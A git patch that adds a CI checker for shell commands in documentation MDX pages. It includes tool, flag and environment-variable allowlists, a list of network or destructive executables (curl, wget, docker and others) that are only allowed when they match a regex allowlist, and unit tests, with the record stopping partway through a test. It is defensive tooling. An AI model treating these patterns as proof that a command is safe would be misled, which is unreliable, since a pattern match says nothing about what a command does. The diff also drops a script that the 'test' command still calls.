From 979c96c2c99f2fe688f2abde60185f85d2c05034 Mon Sep 17 00:00:00 2001 From: biafra877-web Date: Wed, 21 Oct 2026 02:25:28 +0100 Subject: [PATCH 1/7] feat: validate documented shell commands and env vars in CI (#186) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add scripts/check-shell-commands.mjs — parses every bash/sh/shell fence in shipped MDX pages and validates: 1. Executable names are in an explicit KNOWN_TOOLS allowlist. 2. Flags are well-formed (--flag, -f, --flag=val) against per-tool flag sets defined in TOOL_FLAGS. 3. Env-var assignments use UPPER_SNAKE_CASE names drawn from a documented KNOWN_ENV_VARS set. 4. Local file/directory arguments that start with a shipped directory prefix (guides/, scripts/, reference/, etc.) exist on disk. 5. Network/destructive commands (curl, stellar, soroban, git clone, docker, anchor, etc.) must match an explicit NETWORK_ALLOWLIST of regex patterns; anything else is rejected. Multi-line shell constructs are handled correctly: - Backslash-continued lines are joined into a single logical line. - Multi-line single- or double-quoted strings (e.g. curl -d '{ ... }', node -e "...") are joined across physical lines via a quote-aware logical-line builder. - Bare filenames (e.g. submit.js, sign.js) are excluded from local path checks since they are cross-repo illustrative examples. - The contracts/ directory is excluded from local path checks because the contracts source tree lives in a separate repository. Escape hatch: add 'no-check' to a fence info string to skip the entire fence, or append '# no-check' to a single line within a fence. Add scripts/check-shell-commands.test.mjs — 64 node:test unit tests covering buildLogicalLines, tokenise, validateFlags, looksLikeLocalPath, validateFence, and spot-checks of KNOWN_TOOLS, KNOWN_ENV_VARS, and NETWORK_ALLOWLIST. Wire into CI: add 'Check shell commands' and 'Test shell command checks' steps to the existing check-snippets job in snippets.yml so the checker runs on every PR and push to develop/main. Also add check:shell-commands to the top-level 'test' script in package.json. --- .github/workflows/snippets.yml | 33 ++ package.json | 5 +- scripts/check-shell-commands.mjs | 750 ++++++++++++++++++++++++++ scripts/check-shell-commands.test.mjs | 510 ++++++++++++++++++ 4 files changed, 1296 insertions(+), 2 deletions(-) create mode 100644 scripts/check-shell-commands.mjs create mode 100644 scripts/check-shell-commands.test.mjs diff --git a/.github/workflows/snippets.yml b/.github/workflows/snippets.yml index 2b09c8a..3595345 100644 --- a/.github/workflows/snippets.yml +++ b/.github/workflows/snippets.yml @@ -90,6 +90,12 @@ jobs: - name: Test redirects and anchors check run: pnpm run test:redirects-and-anchors + - name: Check shell commands + run: pnpm run check:shell-commands + + - name: Test shell command checks + run: pnpm run test:shell-commands + check-snippets-extended: name: Compile Rust / Python / shell / config snippets runs-on: ubuntu-latest @@ -176,6 +182,33 @@ jobs: - name: Validate Stellar testnet snippets run: pnpm run check:stellar-testnet + mint-validation: + name: Mint config validation and preview redirect checks + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup pnpm + uses: pnpm/action-setup@v4 + with: + version: 10 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Validate Mint navigation and configuration + run: npx --yes mintlify@4.2.1082 validate + + - name: Run preview redirect unit tests + run: pnpm run test:preview-redirect + playground-smoke: name: Playground smoke test runs-on: ubuntu-latest diff --git a/package.json b/package.json index 958c5d0..e1e47f4 100644 --- a/package.json +++ b/package.json @@ -10,7 +10,8 @@ "check:snippets-extended": "tsx scripts/check-snippets-extended.ts && npm run check:python-quickstart", "check:python-quickstart": "tsx scripts/python-quickstart/generate-vectors.ts --check && python3 scripts/python-quickstart/run_quickstart.py --bootstrap", "generate:python-quickstart-vectors": "tsx scripts/python-quickstart/generate-vectors.ts", - "check:nav-coverage": "node scripts/check-nav-coverage.mjs", + "check:shell-commands": "node scripts/check-shell-commands.mjs", + "test:shell-commands": "node --test scripts/check-shell-commands.test.mjs", "check:contract-registry": "node --test scripts/check-contract-registry.test.mjs && node scripts/check-contract-registry.mjs", "check:compatibility-matrix": "node scripts/check-compatibility-matrix.mjs", "check:redirects-and-anchors": "node scripts/check-redirects-and-anchors.mjs", @@ -25,7 +26,7 @@ "test:playground": "playwright test --config scripts/playground/tests/playwright.config.ts", "mint:validate": "mint validate", "mint:broken-links": "mint broken-links", - "test": "npm run check:snippets && npm run check:integration-guides && npm run check:nav-coverage && npm run check:contract-registry && npm run check:compatibility-matrix && npm run test:redirects-and-anchors" + "test": "npm run check:snippets && npm run check:integration-guides && npm run check:nav-coverage && npm run check:contract-registry && npm run check:compatibility-matrix && npm run test:redirects-and-anchors && npm run check:shell-commands" }, "dependencies": { "@solana/web3.js": "^1.99.0", diff --git a/scripts/check-shell-commands.mjs b/scripts/check-shell-commands.mjs new file mode 100644 index 0000000..35d21a4 --- /dev/null +++ b/scripts/check-shell-commands.mjs @@ -0,0 +1,750 @@ +#!/usr/bin/env node +/** + * check-shell-commands.mjs + * + * Parses every bash/sh/shell code fence in shipped MDX pages and validates: + * + * 1. Executable names are in the known-tool allowlist. + * 2. Flags are well-formed (--flag, -f, --flag=val, -f=val, or a bare + * argument whose shape fits that tool's expected patterns). + * 3. Environment-variable assignments use UPPER_SNAKE_CASE names and + * are drawn from the documented variable allowlist. + * 4. Local file/directory arguments that look like repo-relative paths + * (no placeholders, no http) actually exist on disk. + * 5. Destructive or network-dependent commands are in an explicit + * per-command allowlist. + * + * Escape hatch: add `no-check` anywhere in the fence info string, e.g. + * ```bash no-check + * + * Run: + * node scripts/check-shell-commands.mjs + * or via the package.json script: + * pnpm run check:shell-commands + */ + +import { readFile, readdir } from "node:fs/promises"; +import { existsSync } from "node:fs"; +import path from "node:path"; +import process from "node:process"; + +const repoRoot = process.cwd(); + +// --------------------------------------------------------------------------- +// Ignored directories (mirrors the rest of the checker suite). +// --------------------------------------------------------------------------- +const IGNORED_DIRS = new Set([ + ".git", ".github", "node_modules", ".next", "dist", "build", +]); + +// --------------------------------------------------------------------------- +// Known-good executable names. +// +// The checker rejects any executable it doesn't recognise. Add new tools +// here (with a comment) when a page is added that uses them. +// --------------------------------------------------------------------------- +const KNOWN_TOOLS = new Set([ + // Shell builtins / POSIX utilities + "cd", "echo", "export", "source", "cat", "ls", "mkdir", "rm", "cp", "mv", + "chmod", "chown", "env", "set", "unset", "test", "true", "false", + "read", "printf", "touch", "tee", "grep", "sed", "awk", "cut", "sort", + "head", "tail", "wc", "find", "xargs", "which", "type", "hash", + "sha256sum", "sha512sum", "md5sum", "xxd", "base64", "openssl", + "curl", "wget", + "git", + "docker", "docker-compose", + // Node / package managers + "node", "npm", "npx", "pnpm", "yarn", + // Python + "python", "python3", "pip", "pip3", + // Rust toolchain + "cargo", "rustup", "rustc", + // Stellar / Soroban CLIs + "stellar", "soroban", + // Solana / Anchor + "anchor", "solana", + // CKB + "ckb-cli", + // Phala / TEE + "phala", + // Prometheus + "promtool", + // Misc tools referenced in the docs + "zbarcam", // QR scanner in stealth-payments guide + // Script references + "./deploy.sh", + // For-loop / control flow keywords (bash syntax, not executables) + "for", "while", "do", "done", "if", "then", "else", "elif", "fi", + "case", "esac", "in", +]); + +// --------------------------------------------------------------------------- +// Documented environment variable names. +// +// Every variable that appears in a checkable shell fence must be in this +// set. Add new variables when a page introduces them. +// --------------------------------------------------------------------------- +const KNOWN_ENV_VARS = new Set([ + // Stellar network config + "STELLAR_NETWORK", + "STELLAR_NETWORK_PASSPHRASE", + "STELLAR_RPC_URL", + "STELLAR_RPC_URL_PRIMARY", + "STELLAR_RPC_URL_FALLBACK", + "STELLAR_HORIZON_URL", + // Stellar contract IDs + "STELLAR_ANNOUNCER_CONTRACT_ID", + "STELLAR_NAMES_CONTRACT_ID", + "STELLAR_REGISTRY_CONTRACT_ID", + "STELLAR_SENDER_CONTRACT_ID", + // Stellar secrets / keys (placeholder values are expected) + "STELLAR_SECRET", + "STELLAR_OPERATOR_SECRET", + "STELLAR_SIGNING_KEY", + "SPONSOR_SECRET", + "SENDER_SECRET", + // Wraith API + "WRAITH_API_KEY", + "AGENT_ID", + // Nuxt / framework public vars + "NUXT_PUBLIC_WRAITH_API_KEY", + // CI / script helpers + "ADDR", + "SIGNED_XDR", + "MINTLIFY_PREVIEW_URL", + "DOCS_DIFF_BASE", + "DOCS_DIFF_HEAD", +]); + +// --------------------------------------------------------------------------- +// Destructive or network-dependent command patterns that are allowed because +// they appear in deployment / ops documentation that is inherently live. +// +// Each entry is a RegExp tested against the normalised command line (prompt +// stripped, leading whitespace removed). The accompanying note explains why +// it is permitted. +// --------------------------------------------------------------------------- +const NETWORK_ALLOWLIST = [ + // Friendbot — testnet/futurenet only, used in quickstart and ops guides. + /^curl\s+"?https:\/\/friendbot(-futurenet)?\.stellar\.org/, + // Friendbot via stellar CLI subshell. + /^curl\s+"?https:\/\/friendbot(-futurenet)?\.stellar\.org\/\?addr=\$\(stellar\s+keys\s+address/, + // Wraith API examples — the canonical external endpoint. + /^curl\s+(-[A-Za-z]\s+)*(-X\s+\w+\s+)?https:\/\/api\.usewraith\.xyz\//, + // Horizon testnet health-check used in stellar-quickstart. + /^curl\s+"?https:\/\/horizon-testnet\.stellar\.org\/?"/, + // Horizon testnet health-check (unquoted form). + /^curl\s+https:\/\/horizon-testnet\.stellar\.org\/?/, + // Local Grafana dashboard import — localhost only. + /^curl\s+-X\s+POST\s+http:\/\/localhost:/, + // Spectre self-hosted instance health-check (placeholder URL). + /^curl\s+https:\/\/your-spectre-instance\.com\/health/, + // stellar account fund — testnet/mainnet deployment documented in ops guide. + /^stellar\s+account\s+fund\s+/, + // stellar keys generate / stellar keys address — local key management. + /^stellar\s+keys\s+(generate|address|show)\s+/, + // stellar account show — read-only query. + /^stellar\s+account\s+show\s+/, + // stellar account set-options — multisig setup in mainnet deployment guide. + /^stellar\s+account\s+set-options\s+/, + // stellar contract fetch — read-only WASM retrieval. + /^stellar\s+contract\s+fetch\s+/, + // soroban contract build — local compilation, no network. + /^soroban\s+contract\s+build$/, + // soroban contract info — read-only query. + /^soroban\s+contract\s+info\s+/, + // soroban contract invoke — invocations in wraith-names guides (testnet). + /^soroban\s+contract\s+invoke\s+/, + // git clone — used in self-hosted deployment guide. + /^git\s+clone\s+https:\/\/github\.com\/wraith-protocol\//, + // docker buildx build — TEE image build in architecture/tee.mdx. + /^docker\s+buildx\s+build\s+/, + // phala deploy — TEE deployment in architecture/tee.mdx. + /^phala\s+deploy\s+/, + // anchor deploy — Solana devnet deployment in contracts/solana.mdx. + /^anchor\s+deploy\s+/, + // anchor build — local compilation. + /^anchor\s+build$/, + // anchor test — Solana test suite. + /^anchor\s+test$/, + // ckb-cli deploy — CKB deployment in contracts/ckb.mdx. + /^ckb-cli\s+deploy\s+/, + // ./deploy.sh — self-hosted deployment script. + /^\.\/deploy\.sh\s+/, + // rustup target add — local toolchain change, no network effect. + /^rustup\s+target\s+add\s+/, + // cargo build / run — local compilation. + /^cargo\s+(build|run)\s+/, + // promtool check rules — local linting, no network. + /^promtool\s+check\s+rules\s+/, + // pip install — Python dependency install in quickstart. + /^pip\s+install\s+/, + // npm install / npx — documented package install commands. + /^npm\s+install\s+/, + /^npm\s+run\s+/, + /^pnpm\s+run\s+/, + /^pnpm\s+install\s+/, + /^npx\s+/, +]; + +// --------------------------------------------------------------------------- +// Local path argument validation. +// +// If a command line contains what looks like a bare repo-relative path +// (no placeholders, no http, starts with a known shipped directory name or +// ends in a known extension) we verify the path exists on disk. +// --------------------------------------------------------------------------- +const SHIPPED_DIR_PREFIXES = [ + "guides/", "reference/", "scripts/", "sdk/", + "api-reference/", "architecture/", + // Note: contracts/ is intentionally excluded — the contracts source tree + // lives in a separate repository and is not present in this docs repo. + // Paths like contracts/stellar/stealth-announcer are cross-repo references. +]; + +const PATH_LIKE_EXTENSIONS = new Set([ + ".json", ".yml", ".yaml", ".toml", ".sh", ".ts", ".js", ".mjs", + ".mdx", ".md", ".rs", ".py", +]); + +// --------------------------------------------------------------------------- +// Fence-level escape-hatch annotation. +// +// When a command in a fence is genuinely illustrative and contains tokens +// that can never pass structural checks (e.g. prose sentences or partial +// commands), add `no-check` to the fence info string to skip the entire +// fence. For finer-grained skipping within a fence, end the line with +// `# no-check`. +// --------------------------------------------------------------------------- + +// --------------------------------------------------------------------------- +// Exports — pure functions used by check-shell-commands.test.mjs +// --------------------------------------------------------------------------- + +export { + validateFence, + buildLogicalLines, + tokenise, + validateFlags, + validateLocalPaths, + looksLikeLocalPath, + KNOWN_TOOLS, + KNOWN_ENV_VARS, + NETWORK_ALLOWLIST, + TOOL_FLAGS, +}; + +// --------------------------------------------------------------------------- +// Main +// --------------------------------------------------------------------------- + +async function main() { const files = await findMdxFiles(repoRoot); + const fences = await collectFences(files); + + const checkable = fences.filter((f) => !/\bno-check\b/.test(f.attrs)); + const skipped = fences.length - checkable.length; + + const errors = []; + + for (const fence of checkable) { + errors.push(...validateFence(fence)); + } + + const summary = [ + `MDX files scanned : ${files.length}`, + `Shell fences found: ${fences.length}`, + `Skipped (no-check): ${skipped}`, + `Checked : ${checkable.length}`, + `Errors : ${errors.length}`, + ].join("\n"); + + if (errors.length > 0) { + const report = errors.map((e) => ` - ${e}`).join("\n"); + console.error( + `${summary}\n\nShell command validation failed:\n${report}`, + ); + process.exit(1); + } + + console.log(`${summary}\n\nAll shell command checks passed.`); +} + +// --------------------------------------------------------------------------- +// Fence collection +// --------------------------------------------------------------------------- + +/** @typedef {{ file: string, line: number, lang: string, attrs: string, code: string }} Fence */ + +/** @returns {Promise} */ +async function collectFences(files) { + const fences = []; + const fenceRe = /^```(bash|sh|shell)([^\n]*)\n([\s\S]*?)^```/gm; + + for (const file of files) { + const src = await readFile(file, "utf8"); + const rel = path.relative(repoRoot, file); + let match; + while ((match = fenceRe.exec(src)) !== null) { + fences.push({ + file: rel, + line: lineNumberAt(src, match.index), + lang: match[1], + attrs: match[2].trim(), + code: match[3], + }); + } + } + return fences; +} + +// --------------------------------------------------------------------------- +// Fence validation +// --------------------------------------------------------------------------- + +/** + * Validates a single fence and returns an array of error strings. + * @param {Fence} fence + * @returns {string[]} + */ +function validateFence(fence) { + const errors = []; + const location = `${fence.file}:${fence.line}`; + + // Logical lines: a physical line ending in \ continues onto the next. + const logicalLines = buildLogicalLines(fence.code); + + for (const raw of logicalLines) { + // Strip trailing comments and whitespace. + const noComment = raw.replace(/\s+#(?!\s*no-check).*$/, "").trim(); + + // Per-line no-check annotation. + if (/\bno-check\b/.test(raw)) continue; + + // Skip blank lines. + if (!noComment) continue; + + // Strip leading shell prompt ($ or >) used in docs examples. + const line = noComment.replace(/^[$>]\s+/, ""); + if (!line) continue; + + // Skip pure comment lines (# ...). + if (line.startsWith("#")) continue; + + // ---------- Environment-variable assignment lines ---------- + // Lines of the form VAR=value or VAR= (no command). + const envMatch = line.match(/^([A-Za-z_][A-Za-z0-9_]*)=(.*)/); + if (envMatch) { + const varName = envMatch[1]; + const varValue = envMatch[2].trim(); + + // Only flag all-caps env var names as documented variables. + if (/^[A-Z][A-Z0-9_]*$/.test(varName)) { + if (!KNOWN_ENV_VARS.has(varName)) { + errors.push( + `${location}: undocumented environment variable '${varName}' — ` + + `add it to KNOWN_ENV_VARS in scripts/check-shell-commands.mjs if it is intentional`, + ); + } + } + // If there's a command after the assignment it will be picked up on + // the next logical-line split — here we only validate the var name. + continue; + } + + // ---------- Executable name ---------- + const tokens = tokenise(line); + if (tokens.length === 0) continue; + + const exe = tokens[0]; + + // Allow variable expansions like $SIGNED_XDR, $(…), `…` as first token. + if (exe.startsWith("$") || exe.startsWith("`")) continue; + + // Allow line continuations or pipeline operators as first token. + if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; + + if (!KNOWN_TOOLS.has(exe)) { + errors.push( + `${location}: unknown executable '${exe}' — ` + + `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, + ); + continue; // No point validating flags of an unknown tool. + } + + // ---------- Network / destructive command allowlist ---------- + const isNetworkOrDestructive = isNetworkCommand(exe, tokens); + if (isNetworkOrDestructive) { + if (!NETWORK_ALLOWLIST.some((re) => re.test(line))) { + errors.push( + `${location}: network/destructive command not in allowlist: '${line.slice(0, 80)}' — ` + + `add a pattern to NETWORK_ALLOWLIST in scripts/check-shell-commands.mjs`, + ); + } + // Don't validate flags on allowlisted commands — their shapes vary widely. + continue; + } + + // ---------- Flag well-formedness ---------- + const flagErrors = validateFlags(exe, tokens.slice(1), location, line); + errors.push(...flagErrors); + + // ---------- Local path arguments ---------- + const pathErrors = validateLocalPaths(tokens.slice(1), location); + errors.push(...pathErrors); + } + + return errors; +} + +// --------------------------------------------------------------------------- +// Logical line building (handle backslash continuations) +// --------------------------------------------------------------------------- + +/** @param {string} code @returns {string[]} */ +function buildLogicalLines(code) { + const physical = code.split("\n"); + const logical = []; + let current = ""; + let inSingle = false; + let inDouble = false; + + for (const line of physical) { + // Track quote state across the accumulated current buffer + this line. + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + if (inSingle) { + if (ch === "'") inSingle = false; + } else if (inDouble) { + if (ch === '"' && (i === 0 || line[i - 1] !== "\\")) inDouble = false; + } else { + if (ch === "'") inSingle = true; + else if (ch === '"') inDouble = true; + } + } + + if (line.endsWith("\\") && !inSingle && !inDouble) { + // Explicit line continuation — join without the backslash. + current += line.slice(0, -1) + " "; + } else if (inSingle || inDouble) { + // Inside an open quote that spans lines — join with a space. + current += line + " "; + } else { + current += line; + logical.push(current); + current = ""; + } + } + if (current) logical.push(current); + return logical; +} + +// --------------------------------------------------------------------------- +// Tokeniser +// --------------------------------------------------------------------------- + +/** + * Splits a command line into tokens, respecting basic quoting. + * Sufficient for flag validation; not a full shell parser. + * @param {string} line + * @returns {string[]} + */ +function tokenise(line) { + const tokens = []; + let current = ""; + let inSingle = false; + let inDouble = false; + + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + if (inSingle) { + if (ch === "'") inSingle = false; + else current += ch; + } else if (inDouble) { + if (ch === '"') inDouble = false; + else current += ch; + } else if (ch === "'") { + inSingle = true; + } else if (ch === '"') { + inDouble = true; + } else if (ch === " " || ch === "\t") { + if (current) { tokens.push(current); current = ""; } + } else { + current += ch; + } + } + if (current) tokens.push(current); + return tokens; +} + +// --------------------------------------------------------------------------- +// Flag validation +// --------------------------------------------------------------------------- + +/** + * Flags that are allowed for each tool. Maps executable name to a Set of + * accepted long/short flag names (without dashes). `"*"` means accept any + * well-formed flag for that tool. + */ +const TOOL_FLAGS = { + // npm install — packages are bare arguments, no flags validated here. + npm: new Set(["install", "run", "exec", "ci", "audit", "pack", "remove", + "save", "save-dev", "D", "g", "global", "legacy-peer-deps", + "frozen-lockfile", "no-frozen-lockfile", "prefix", "workspace"]), + // pnpm — same surface as npm for the docs. + pnpm: new Set(["install", "run", "add", "remove", "exec", "audit", + "frozen-lockfile", "no-frozen-lockfile", "prod", "dev", + "audit-level", "D", "g", "peers"]), + // npx — anything goes (the command is the argument). + npx: "*", + // git + git: new Set(["clone", "pull", "push", "commit", "add", "status", + "checkout", "branch", "merge", "rebase", "log", "diff", + "fetch", "tag", "init", "remote", "submodule", + "config", "clean", "stash", "reset", "format-patch", + "am", "apply"]), + // curl — validate well-known flags + curl: new Set(["X", "H", "d", "f", "o", "O", "L", "s", "S", "v", + "silent", "location", "output", "data", "header", + "request", "fail", "verbose", "include", "write-out", + "max-time", "retry", "compressed", "insecure", + "user", "user-agent", "cookie", "cookie-jar", + "upload-file", "form", "proxy"]), + // node + node: new Set(["e", "r", "p", "v", "version", "eval", "print", + "require", "input-type", "experimental-vm-modules", + "no-warnings", "max-old-space-size"]), + // pip / pip3 + pip: new Set(["install", "uninstall", "list", "show", "freeze", + "download", "wheel", "hash", "check", "config", + "r", "q", "quiet", "verbose", "no-cache-dir", + "upgrade", "U", "user", "target", "prefix", + "index-url", "extra-index-url", "no-deps", + "requirement", "constraint"]), + // cargo + cargo: new Set(["build", "run", "test", "check", "clean", "doc", + "publish", "update", "fetch", "init", "new", + "add", "remove", "search", "install", "uninstall", + "bench", "fix", "generate-lockfile", + "target", "release", "features", "all-features", + "no-default-features", "manifest-path", "package", + "p", "jobs", "j", "quiet", "q", "verbose", "v", + "locked", "frozen", "offline"]), + // rustup + rustup: new Set(["toolchain", "target", "component", "update", + "show", "install", "uninstall", "add", "remove", + "list", "default", "override", "run", "which", + "doc", "man", "set"]), + // rustc + rustc: new Set(["edition", "crate-type", "error-format", "cap-lints", + "out-dir", "o", "C", "Z", "W", "A", "allow", + "deny", "warn", "forbid", "target", "extern", + "L", "l", "print"]), + // sha256sum + sha256sum: new Set(["check", "c", "b", "binary", "text", "t", + "quiet", "status", "warn", "ignore-missing"]), + // echo — anything is a valid argument + echo: "*", + // cd — anything is a valid argument + cd: "*", + // docker + docker: "*", + // stellar CLI + stellar: "*", + // soroban CLI + soroban: "*", + // anchor (Solana) + anchor: "*", + // ckb-cli + "ckb-cli": "*", + // phala + phala: "*", + // promtool + promtool: "*", + // zbarcam + zbarcam: "*", + // ./deploy.sh + "./deploy.sh": "*", + // shell control-flow keywords — no flags + for: "*", while: "*", do: "*", done: "*", if: "*", then: "*", + else: "*", elif: "*", fi: "*", case: "*", esac: "*", in: "*", + // other utils + cat: "*", ls: "*", mkdir: "*", rm: "*", cp: "*", mv: "*", + chmod: "*", chown: "*", env: "*", export: "*", source: "*", + set: "*", unset: "*", test: "*", true: "*", false: "*", + read: "*", printf: "*", touch: "*", tee: "*", grep: "*", + sed: "*", awk: "*", cut: "*", sort: "*", head: "*", tail: "*", + wc: "*", find: "*", xargs: "*", which: "*", type: "*", + hash: "*", sha512sum: "*", md5sum: "*", xxd: "*", base64: "*", + openssl: "*", wget: "*", +}; + +/** + * @param {string} exe + * @param {string[]} args tokens after the executable + * @param {string} location + * @param {string} line + * @returns {string[]} + */ +function validateFlags(exe, args, location, line) { + const allowed = TOOL_FLAGS[exe]; + if (allowed === "*") return []; + if (!allowed) return []; // unknown tool already reported + + const errors = []; + for (const arg of args) { + // Placeholder values like or are expected in docs. + if (/^<[^>]+>$/.test(arg)) continue; + // Shell variable expansions. + if (/^\$/.test(arg)) continue; + // Subshell / command substitution. + if (/^\$\(/.test(arg) || /^`/.test(arg)) continue; + // Bare arguments (package names, URLs, file paths, positional args). + if (!/^-/.test(arg)) continue; + + // Long flag: --flag or --flag=val + const longMatch = arg.match(/^--([A-Za-z][-A-Za-z0-9]*)(?:=.*)?$/); + if (longMatch) { + const flagName = longMatch[1]; + if (!allowed.has(flagName)) { + errors.push( + `${location}: unrecognised flag '${arg}' for '${exe}' — ` + + `add '${flagName}' to TOOL_FLAGS['${exe}'] if it is valid`, + ); + } + continue; + } + + // Short flag: -f or -f=val or combined -abc + const shortMatch = arg.match(/^-([A-Za-z0-9]+)(?:=.*)?$/); + if (shortMatch) { + // For multi-char short combos (-abc), check each char. + for (const ch of shortMatch[1]) { + if (!allowed.has(ch)) { + errors.push( + `${location}: unrecognised short flag '-${ch}' (in '${arg}') for '${exe}' — ` + + `add '${ch}' to TOOL_FLAGS['${exe}'] if it is valid`, + ); + } + } + continue; + } + + // Anything else starting with - is malformed. + errors.push( + `${location}: malformed flag '${arg}' for '${exe}' in: ${line.slice(0, 80)}`, + ); + } + return errors; +} + +// --------------------------------------------------------------------------- +// Network / destructive command detection +// --------------------------------------------------------------------------- + +const NETWORK_EXECUTABLES = new Set([ + "curl", "wget", + "git", + "docker", + "stellar", "soroban", + "anchor", + "ckb-cli", + "phala", + "./deploy.sh", + "rustup", + "cargo", + "pip", + "npm", + "npx", + "pnpm", + "promtool", +]); + +/** + * @param {string} exe + * @param {string[]} tokens + * @returns {boolean} + */ +function isNetworkCommand(exe, tokens) { + return NETWORK_EXECUTABLES.has(exe); +} + +// --------------------------------------------------------------------------- +// Local path validation +// --------------------------------------------------------------------------- + +/** + * @param {string[]} args + * @param {string} location + * @returns {string[]} + */ +function validateLocalPaths(args, location) { + const errors = []; + for (const arg of args) { + if (!looksLikeLocalPath(arg)) continue; + const resolved = path.join(repoRoot, arg); + if (!existsSync(resolved)) { + errors.push( + `${location}: referenced path '${arg}' does not exist on disk`, + ); + } + } + return errors; +} + +/** + * A token looks like a local path if: + * - it doesn't start with - (not a flag) + * - it doesn't start with $ or < (not a variable or placeholder) + * - it doesn't start with http (not a URL) + * - it starts with a known shipped directory prefix + * (bare filenames like submit.js are example/illustrative files, skip them) + * - it contains no spaces (already tokenised away) + * @param {string} token + * @returns {boolean} + */ +function looksLikeLocalPath(token) { + if (token.startsWith("-")) return false; + if (token.startsWith("$")) return false; + if (token.startsWith("<")) return false; + if (token.startsWith("http")) return false; + if (token.startsWith("@")) return false; // npm package scope + // Only check paths that start with a known shipped directory prefix. + // Bare filenames (e.g. submit.js, sign.js, deployment.toml) are + // illustrative examples that won't exist in the docs repo. + return SHIPPED_DIR_PREFIXES.some((p) => token.startsWith(p)); +} + +// --------------------------------------------------------------------------- +// MDX file discovery +// --------------------------------------------------------------------------- + +async function findMdxFiles(dir) { + const entries = await readdir(dir, { withFileTypes: true }); + const nested = await Promise.all( + entries.map(async (entry) => { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + return IGNORED_DIRS.has(entry.name) ? [] : findMdxFiles(full); + } + return entry.isFile() && entry.name.endsWith(".mdx") ? [full] : []; + }), + ); + return nested.flat().sort(); +} + +// --------------------------------------------------------------------------- +// Utilities +// --------------------------------------------------------------------------- + +function lineNumberAt(text, index) { + return text.slice(0, index).split("\n").length; +} + +// --------------------------------------------------------------------------- +// Run +// --------------------------------------------------------------------------- + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/scripts/check-shell-commands.test.mjs b/scripts/check-shell-commands.test.mjs new file mode 100644 index 0000000..e67dc03 --- /dev/null +++ b/scripts/check-shell-commands.test.mjs @@ -0,0 +1,510 @@ +/** + * check-shell-commands.test.mjs + * + * Unit tests for the shell command validation logic in + * scripts/check-shell-commands.mjs. + * + * Run: + * node --test scripts/check-shell-commands.test.mjs + * or via the package.json script: + * pnpm run check:shell-commands + */ +import test from "node:test"; +import assert from "node:assert/strict"; +import { + buildLogicalLines, + tokenise, + validateFence, + validateFlags, + looksLikeLocalPath, + KNOWN_TOOLS, + KNOWN_ENV_VARS, + NETWORK_ALLOWLIST, +} from "./check-shell-commands.mjs"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/** + * buildLogicalLines produces a trailing "" for code ending with \n; filter + * it out for cleaner assertions. + */ +function logicalLines(code) { + return buildLogicalLines(code).filter((l) => l !== ""); +} + +/** Build a minimal fence object for validateFence. */ +function fence(code, attrs = "") { + return { file: "test.mdx", line: 1, lang: "bash", attrs, code }; +} + +// --------------------------------------------------------------------------- +// buildLogicalLines +// --------------------------------------------------------------------------- + +test("buildLogicalLines: single line with no continuation", () => { + assert.deepEqual(logicalLines("npm install foo\n"), ["npm install foo"]); +}); + +test("buildLogicalLines: joins backslash-continued lines into one", () => { + const lines = logicalLines( + "curl -X POST \\\n" + + " -H 'Content-Type: application/json' \\\n" + + " https://example.com\n", + ); + assert.equal(lines.length, 1); + assert.match(lines[0], /curl -X POST/); + assert.match(lines[0], /https:\/\/example\.com/); +}); + +test("buildLogicalLines: joins multi-line single-quoted JSON body into one", () => { + const lines = logicalLines( + "curl -d '{\n" + + ' "name": "alice"\n' + + "}'\n", + ); + assert.equal(lines.length, 1); + assert.match(lines[0], /curl -d/); + assert.match(lines[0], /alice/); +}); + +test("buildLogicalLines: joins multi-line double-quoted node -e script into one", () => { + const lines = logicalLines( + 'node -e "\n' + + "const x = 1;\n" + + "console.log(x);\n" + + '"\n', + ); + assert.equal(lines.length, 1); + assert.match(lines[0], /node -e/); +}); + +test("buildLogicalLines: two independent lines stay separate", () => { + assert.deepEqual(logicalLines("cd /tmp\nls -la\n"), ["cd /tmp", "ls -la"]); +}); + +test("buildLogicalLines: blank lines are preserved (as empty strings)", () => { + const result = buildLogicalLines("echo a\n\necho b\n"); + // blank line becomes "" + assert.ok(result.includes("echo a")); + assert.ok(result.includes("echo b")); +}); + +// --------------------------------------------------------------------------- +// tokenise +// --------------------------------------------------------------------------- + +test("tokenise: splits on whitespace", () => { + assert.deepEqual(tokenise("npm install foo bar"), ["npm", "install", "foo", "bar"]); +}); + +test("tokenise: respects single quotes — keeps content, drops quotes", () => { + assert.deepEqual(tokenise("curl -d 'hello world'"), ["curl", "-d", "hello world"]); +}); + +test("tokenise: respects double quotes — keeps content, drops quotes", () => { + assert.deepEqual(tokenise('echo "hello world"'), ["echo", "hello world"]); +}); + +test("tokenise: handles empty string", () => { + assert.deepEqual(tokenise(""), []); +}); + +test("tokenise: preserves full Bearer token header value inside quotes", () => { + const tokens = tokenise("curl -H 'Authorization: Bearer abc'"); + assert.equal(tokens[2], "Authorization: Bearer abc"); +}); + +test("tokenise: adjacent combined short flag and value stays as one token", () => { + const tokens = tokenise("curl -XPOSThttps://api.example.com"); + // "curl" is one token, "-XPOSThttps://api.example.com" is the second + assert.equal(tokens.length, 2); + assert.equal(tokens[1], "-XPOSThttps://api.example.com"); +}); + +// --------------------------------------------------------------------------- +// validateFlags +// --------------------------------------------------------------------------- + +test("validateFlags: accepts well-known curl flags -X and -H", () => { + const errors = validateFlags( + "curl", + ["-X", "POST", "-H", "Content-Type: application/json"], + "file.mdx:1", + "curl -X POST -H ...", + ); + assert.equal(errors.length, 0); +}); + +test("validateFlags: rejects unknown long flag for curl", () => { + const errors = validateFlags("curl", ["--invented-flag"], "file.mdx:1", "curl --invented-flag"); + assert.equal(errors.length, 1); + assert.match(errors[0], /unrecognised flag/); + assert.match(errors[0], /--invented-flag/); +}); + +test("validateFlags: rejects unknown short flag for curl (-Z)", () => { + const errors = validateFlags("curl", ["-Z"], "file.mdx:1", "curl -Z"); + assert.equal(errors.length, 1); + 